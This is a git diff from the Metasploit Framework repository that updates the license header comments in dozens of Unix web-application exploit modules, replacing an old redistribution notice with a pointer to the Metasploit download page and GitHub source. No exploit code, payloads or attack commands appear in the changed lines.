https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/unix/webapp/egallery_upload_exec.rb b/modules/exploits/unix/webapp/egallery_upload_exec.rb index 46bf6db122..05f0387085 100644 --- a/modules/exploits/unix/webapp/egallery_upload_exec.rb +++ b/modules/exploits/unix/webapp/egallery_upload_exec.rb @@ -1,8 +1,7 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework # Framework web site for more information on licensing and terms of use. -# http://metasploit.com/framework/ ## require 'msf/core' diff --git a/modules/exploits/unix/webapp/flashchat_upload_exec.rb b/modules/exploits/unix/webapp/flashchat_upload_exec.rb index 2530c180c9..f18778bae0 100644 --- a/modules/exploits/unix/webapp/flashchat_upload_exec.rb +++ b/modules/exploits/unix/webapp/flashchat_upload_exec.rb @@ -1,8 +1,7 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework # Framework web site for more information on licensing and terms of use. -# http://metasploit.com/framework/ ## require 'msf/core' diff --git a/modules/exploits/unix/webapp/foswiki_maketext.rb b/modules/exploits/unix/webapp/foswiki_maketext.rb index c405fb2d3e..2c62df9b48 100644 --- a/modules/exploits/unix/webapp/foswiki_maketext.rb +++ b/modules/exploits/unix/webapp/foswiki_maketext.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/unix/webapp/generic_exec.rb b/modules/exploits/unix/webapp/generic_exec.rb index 75eebf72ac..b9f242694b 100644 --- a/modules/exploits/unix/webapp/generic_exec.rb +++ b/modules/exploits/unix/webapp/generic_exec.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/unix/webapp/google_proxystylesheet_exec.rb b/modules/exploits/unix/webapp/google_proxystylesheet_exec.rb index df43fbe801..553dd4c1df 100644 --- a/modules/exploits/unix/webapp/google_proxystylesheet_exec.rb +++ b/modules/exploits/unix/webapp/google_proxystylesheet_exec.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/unix/webapp/graphite_pickle_exec.rb b/modules/exploits/unix/webapp/graphite_pickle_exec.rb index b7c224e831..f377adb6f7 100644 --- a/modules/exploits/unix/webapp/graphite_pickle_exec.rb +++ b/modules/exploits/unix/webapp/graphite_pickle_exec.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/unix/webapp/guestbook_ssi_exec.rb b/modules/exploits/unix/webapp/guestbook_ssi_exec.rb index 2dd5c0d079..42959057a9 100644 --- a/modules/exploits/unix/webapp/guestbook_ssi_exec.rb +++ b/modules/exploits/unix/webapp/guestbook_ssi_exec.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/unix/webapp/hastymail_exec.rb b/modules/exploits/unix/webapp/hastymail_exec.rb index e22b079ae3..80d6db0cb5 100644 --- a/modules/exploits/unix/webapp/hastymail_exec.rb +++ b/modules/exploits/unix/webapp/hastymail_exec.rb @@ -1,8 +1,7 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework # Framework web site for more information on licensing and terms of use. -# http://metasploit.com/framework/ ## require 'msf/core' diff --git a/modules/exploits/unix/webapp/havalite_upload_exec.rb b/modules/exploits/unix/webapp/havalite_upload_exec.rb index 17f5056174..56d9ab057d 100644 --- a/modules/exploits/unix/webapp/havalite_upload_exec.rb +++ b/modules/exploits/unix/webapp/havalite_upload_exec.rb @@ -1,8 +1,7 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework # Framework web site for more information on licensing and terms of use. -# http://metasploit.com/framework/ ## require 'msf/core' diff --git a/modules/exploits/unix/webapp/invision_pboard_unserialize_exec.rb b/modules/exploits/unix/webapp/invision_pboard_unserialize_exec.rb index 79e8d2125c..36aa2e90c1 100644 --- a/modules/exploits/unix/webapp/invision_pboard_unserialize_exec.rb +++ b/modules/exploits/unix/webapp/invision_pboard_unserialize_exec.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/unix/webapp/joomla_comjce_imgmanager.rb b/modules/exploits/unix/webapp/joomla_comjce_imgmanager.rb index 528a0b8c12..d4aa24d0ab 100644 --- a/modules/exploits/unix/webapp/joomla_comjce_imgmanager.rb +++ b/modules/exploits/unix/webapp/joomla_comjce_imgmanager.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/unix/webapp/joomla_media_upload_exec.rb b/modules/exploits/unix/webapp/joomla_media_upload_exec.rb index 68878aeadc..7049b3337c 100644 --- a/modules/exploits/unix/webapp/joomla_media_upload_exec.rb +++ b/modules/exploits/unix/webapp/joomla_media_upload_exec.rb @@ -1,8 +1,7 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework # Framework web site for more information on licensing and terms of use. -# http://metasploit.com/framework/ ## require 'msf/core' diff --git a/modules/exploits/unix/webapp/joomla_tinybrowser.rb b/modules/exploits/unix/webapp/joomla_tinybrowser.rb index 1bc183ce30..eaf385d144 100644 --- a/modules/exploits/unix/webapp/joomla_tinybrowser.rb +++ b/modules/exploits/unix/webapp/joomla_tinybrowser.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/unix/webapp/libretto_upload_exec.rb b/modules/exploits/unix/webapp/libretto_upload_exec.rb index 9c7f083ae5..2c1cd565cf 100644 --- a/modules/exploits/unix/webapp/libretto_upload_exec.rb +++ b/modules/exploits/unix/webapp/libretto_upload_exec.rb @@ -1,8 +1,7 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework # Framework web site for more information on licensing and terms of use. -# http://metasploit.com/framework/ ## require 'msf/core' diff --git a/modules/exploits/unix/webapp/mambo_cache_lite.rb b/modules/exploits/unix/webapp/mambo_cache_lite.rb index 1b84eb8cdb..dfa5482207 100644 --- a/modules/exploits/unix/webapp/mambo_cache_lite.rb +++ b/modules/exploits/unix/webapp/mambo_cache_lite.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/unix/webapp/mitel_awc_exec.rb b/modules/exploits/unix/webapp/mitel_awc_exec.rb index b01439f996..5c8242500d 100644 --- a/modules/exploits/unix/webapp/mitel_awc_exec.rb +++ b/modules/exploits/unix/webapp/mitel_awc_exec.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/unix/webapp/moinmoin_twikidraw.rb b/modules/exploits/unix/webapp/moinmoin_twikidraw.rb index c7a7bcd81b..e54e54fb96 100644 --- a/modules/exploits/unix/webapp/moinmoin_twikidraw.rb +++ b/modules/exploits/unix/webapp/moinmoin_twikidraw.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/unix/webapp/mybb_backdoor.rb b/modules/exploits/unix/webapp/mybb_backdoor.rb index 44a40024d2..791d0653ee 100644 --- a/modules/exploits/unix/webapp/mybb_backdoor.rb +++ b/modules/exploits/unix/webapp/mybb_backdoor.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/unix/webapp/nagios3_history_cgi.rb b/modules/exploits/unix/webapp/nagios3_history_cgi.rb index 57d15a2364..ee122919cf 100644 --- a/modules/exploits/unix/webapp/nagios3_history_cgi.rb +++ b/modules/exploits/unix/webapp/nagios3_history_cgi.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/unix/webapp/nagios3_statuswml_ping.rb b/modules/exploits/unix/webapp/nagios3_statuswml_ping.rb index cbb1deeaea..f4f6b3892b 100644 --- a/modules/exploits/unix/webapp/nagios3_statuswml_ping.rb +++ b/modules/exploits/unix/webapp/nagios3_statuswml_ping.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/unix/webapp/nagios_graph_explorer.rb b/modules/exploits/unix/webapp/nagios_graph_explorer.rb index 924dda4209..dc35e2523b 100644 --- a/modules/exploits/unix/webapp/nagios_graph_explorer.rb +++ b/modules/exploits/unix/webapp/nagios_graph_explorer.rb @@ -1,8 +1,7 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework # Framework web site for more information on licensing and terms of use. -# http://metasploit.com/framework/ ## require 'msf/core' diff --git a/modules/exploits/unix/webapp/narcissus_backend_exec.rb b/modules/exploits/unix/webapp/narcissus_backend_exec.rb index 32971f4c03..d0274eafeb 100644 --- a/modules/exploits/unix/webapp/narcissus_backend_exec.rb +++ b/modules/exploits/unix/webapp/narcissus_backend_exec.rb @@ -1,8 +1,7 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework # Framework web site for more information on licensing and terms of use. -# http://metasploit.com/framework/ ## require 'msf/core' diff --git a/modules/exploits/unix/webapp/openemr_sqli_privesc_upload.rb b/modules/exploits/unix/webapp/openemr_sqli_privesc_upload.rb index 62d564a5be..034ced6342 100644 --- a/modules/exploits/unix/webapp/openemr_sqli_privesc_upload.rb +++ b/modules/exploits/unix/webapp/openemr_sqli_privesc_upload.rb @@ -1,8 +1,7 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework # Framework web site for more information on licensing and terms of use. -# http://metasploit.com/framework/ ## require 'msf/core' diff --git a/modules/exploits/unix/webapp/openemr_upload_exec.rb b/modules/exploits/unix/webapp/openemr_upload_exec.rb index 6cc1edb7f2..7d2b275389 100644 --- a/modules/exploits/unix/webapp/openemr_upload_exec.rb +++ b/modules/exploits/unix/webapp/openemr_upload_exec.rb @@ -1,8 +1,7 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework # Framework web site for more information on licensing and terms of use. -# http://metasploit.com/framework/ ## require 'msf/core' diff --git a/modules/exploits/unix/webapp/openview_connectednodes_exec.rb b/modules/exploits/unix/webapp/openview_connectednodes_exec.rb index 1e7674457f..7183b0f5be 100644 --- a/modules/exploits/unix/webapp/openview_connectednodes_exec.rb +++ b/modules/exploits/unix/webapp/openview_connectednodes_exec.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/unix/webapp/openx_banner_edit.rb b/modules/exploits/unix/webapp/openx_banner_edit.rb index 27e9fbc5a8..17e82bfdec 100644 --- a/modules/exploits/unix/webapp/openx_banner_edit.rb +++ b/modules/exploits/unix/webapp/openx_banner_edit.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/unix/webapp/oracle_vm_agent_utl.rb b/modules/exploits/unix/webapp/oracle_vm_agent_utl.rb index 5d538c4800..2384bf51ca 100644 --- a/modules/exploits/unix/webapp/oracle_vm_agent_utl.rb +++ b/modules/exploits/unix/webapp/oracle_vm_agent_utl.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/unix/webapp/oscommerce_filemanager.rb b/modules/exploits/unix/webapp/oscommerce_filemanager.rb index 69cfa6cac2..7d1bb9b0cd 100644 --- a/modules/exploits/unix/webapp/oscommerce_filemanager.rb +++ b/modules/exploits/unix/webapp/oscommerce_filemanager.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/unix/webapp/pajax_remote_exec.rb b/modules/exploits/unix/webapp/pajax_remote_exec.rb index 4af61798e3..23cf5bb0a1 100644 --- a/modules/exploits/unix/webapp/pajax_remote_exec.rb +++ b/modules/exploits/unix/webapp/pajax_remote_exec.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/unix/webapp/php_charts_exec.rb b/modules/exploits/unix/webapp/php_charts_exec.rb index 17feb3d0f1..7f76828a31 100644 --- a/modules/exploits/unix/webapp/php_charts_exec.rb +++ b/modules/exploits/unix/webapp/php_charts_exec.rb @@ -1,8 +1,7 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework # Framework web site for more information on licensing and terms of use. -# http://metasploit.com/framework/ ## require 'msf/core' diff --git a/modules/exploits/unix/webapp/php_eval.rb b/modules/exploits/unix/webapp/php_eval.rb index e58dead889..3f3b786b33 100644 --- a/modules/exploits/unix/webapp/php_eval.rb +++ b/modules/exploits/unix/webapp/php_eval.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/unix/webapp/php_include.rb b/modules/exploits/unix/webapp/php_include.rb index b08d196689..7e8fe19b69 100644 --- a/modules/exploits/unix/webapp/php_include.rb +++ b/modules/exploits/unix/webapp/php_include.rb @@ -1,7 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework # http://metasploit.com/ ## diff --git a/modules/exploits/unix/webapp/php_vbulletin_template.rb b/modules/exploits/unix/webapp/php_vbulletin_template.rb index cbccfbb3ec..48cc0d0735 100644 --- a/modules/exploits/unix/webapp/php_vbulletin_template.rb +++ b/modules/exploits/unix/webapp/php_vbulletin_template.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/unix/webapp/php_wordpress_foxypress.rb b/modules/exploits/unix/webapp/php_wordpress_foxypress.rb index ce3479cd70..8442302c00 100644 --- a/modules/exploits/unix/webapp/php_wordpress_foxypress.rb +++ b/modules/exploits/unix/webapp/php_wordpress_foxypress.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/unix/webapp/php_wordpress_lastpost.rb b/modules/exploits/unix/webapp/php_wordpress_lastpost.rb index 3cb292a0ff..3bf1ab9d2d 100644 --- a/modules/exploits/unix/webapp/php_wordpress_lastpost.rb +++ b/modules/exploits/unix/webapp/php_wordpress_lastpost.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/unix/webapp/php_wordpress_total_cache.rb b/modules/exploits/unix/webapp/php_wordpress_total_cache.rb index f816bb72ef..fa17f8521d 100644 --- a/modules/exploits/unix/webapp/php_wordpress_total_cache.rb +++ b/modules/exploits/unix/webapp/php_wordpress_total_cache.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## class Metasploit3 < Msf::Exploit::Remote diff --git a/modules/exploits/unix/webapp/php_xmlrpc_eval.rb b/modules/exploits/unix/webapp/php_xmlrpc_eval.rb index 8f2ce44e87..66933a0227 100644 --- a/modules/exploits/unix/webapp/php_xmlrpc_eval.rb +++ b/modules/exploits/unix/webapp/php_xmlrpc_eval.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/unix/webapp/phpbb_highlight.rb b/modules/exploits/unix/webapp/phpbb_highlight.rb index fd2d926638..be06f6fcb9 100644 --- a/modules/exploits/unix/webapp/phpbb_highlight.rb +++ b/modules/exploits/unix/webapp/phpbb_highlight.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/unix/webapp/phpmyadmin_config.rb b/modules/exploits/unix/webapp/phpmyadmin_config.rb index e1001eb9cb..2ee3f4a4b5 100644 --- a/modules/exploits/unix/webapp/phpmyadmin_config.rb +++ b/modules/exploits/unix/webapp/phpmyadmin_config.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/unix/webapp/projectpier_upload_exec.rb b/modules/exploits/unix/webapp/projectpier_upload_exec.rb index 97d0bdf07c..187c343d07 100644 --- a/modules/exploits/unix/webapp/projectpier_upload_exec.rb +++ b/modules/exploits/unix/webapp/projectpier_upload_exec.rb @@ -1,8 +1,7 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework # Framework web site for more information on licensing and terms of use. -# http://metasploit.com/framework/ ## require 'msf/core' diff --git a/modules/exploits/unix/webapp/qtss_parse_xml_exec.rb b/modules/exploits/unix/webapp/qtss_parse_xml_exec.rb index 888db5108e..b52203abec 100644 --- a/modules/exploits/unix/webapp/qtss_parse_xml_exec.rb +++ b/modules/exploits/unix/webapp/qtss_parse_xml_exec.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/unix/webapp/redmine_scm_exec.rb b/modules/exploits/unix/webapp/redmine_scm_exec.rb index 3ba71851ab..6f8853e346 100644 --- a/modules/exploits/unix/webapp/redmine_scm_exec.rb +++ b/modules/exploits/unix/webapp/redmine_scm_exec.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/unix/webapp/sphpblog_file_upload.rb b/modules/exploits/unix/webapp/sphpblog_file_upload.rb index cfa78be992..92728f82a2 100644 --- a/modules/exploits/unix/webapp/sphpblog_file_upload.rb +++ b/modules/exploits/unix/webapp/sphpblog_file_upload.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/unix/webapp/spip_connect_exec.rb b/modules/exploits/unix/webapp/spip_connect_exec.rb index 664fb94b88..e7e821bf1c 100644 --- a/modules/exploits/unix/webapp/spip_connect_exec.rb +++ b/modules/exploits/unix/webapp/spip_connect_exec.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/unix/webapp/squash_yaml_exec.rb b/modules/exploits/unix/webapp/squash_yaml_exec.rb index bd3047681f..632ad5f357 100644 --- a/modules/exploits/unix/webapp/squash_yaml_exec.rb +++ b/modules/exploits/unix/webapp/squash_yaml_exec.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/unix/webapp/squirrelmail_pgp_plugin.rb b/modules/exploits/unix/webapp/squirrelmail_pgp_plugin.rb index 49083d1a0a..f6dd06a230 100644 --- a/modules/exploits/unix/webapp/squirrelmail_pgp_plugin.rb +++ b/modules/exploits/unix/webapp/squirrelmail_pgp_plugin.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/unix/webapp/sugarcrm_unserialize_exec.rb b/modules/exploits/unix/webapp/sugarcrm_unserialize_exec.rb index 35cdfe0923..cb3ea483f7 100644 --- a/modules/exploits/unix/webapp/sugarcrm_unserialize_exec.rb +++ b/modules/exploits/unix/webapp/sugarcrm_unserialize_exec.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/unix/webapp/tikiwiki_graph_formula_exec.rb b/modules/exploits/unix/webapp/tikiwiki_graph_formula_exec.rb index 858f55db68..2322a13a9d 100644 --- a/modules/exploits/unix/webapp/tikiwiki_graph_formula_exec.rb +++ b/modules/exploits/unix/webapp/tikiwiki_graph_formula_exec.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/unix/webapp/tikiwiki_jhot_exec.rb b/modules/exploits/unix/webapp/tikiwiki_jhot_exec.rb index 93aecf4d69..90757d4519 100644 --- a/modules/exploits/unix/webapp/tikiwiki_jhot_exec.rb +++ b/modules/exploits/unix/webapp/tikiwiki_jhot_exec.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/unix/webapp/tikiwiki_unserialize_exec.rb b/modules/exploits/unix/webapp/tikiwiki_unserialize_exec.rb index 59b82dc657..bd1e4f3eec 100644 --- a/modules/exploits/unix/webapp/tikiwiki_unserialize_exec.rb +++ b/modules/exploits/unix/webapp/tikiwiki_unserialize_exec.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/unix/webapp/trixbox_langchoice.rb b/modules/exploits/unix/webapp/trixbox_langchoice.rb index 3cd93d17f2..09abcf49e0 100644 --- a/modules/exploits/unix/webapp/trixbox_langchoice.rb +++ b/modules/exploits/unix/webapp/trixbox_langchoice.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information 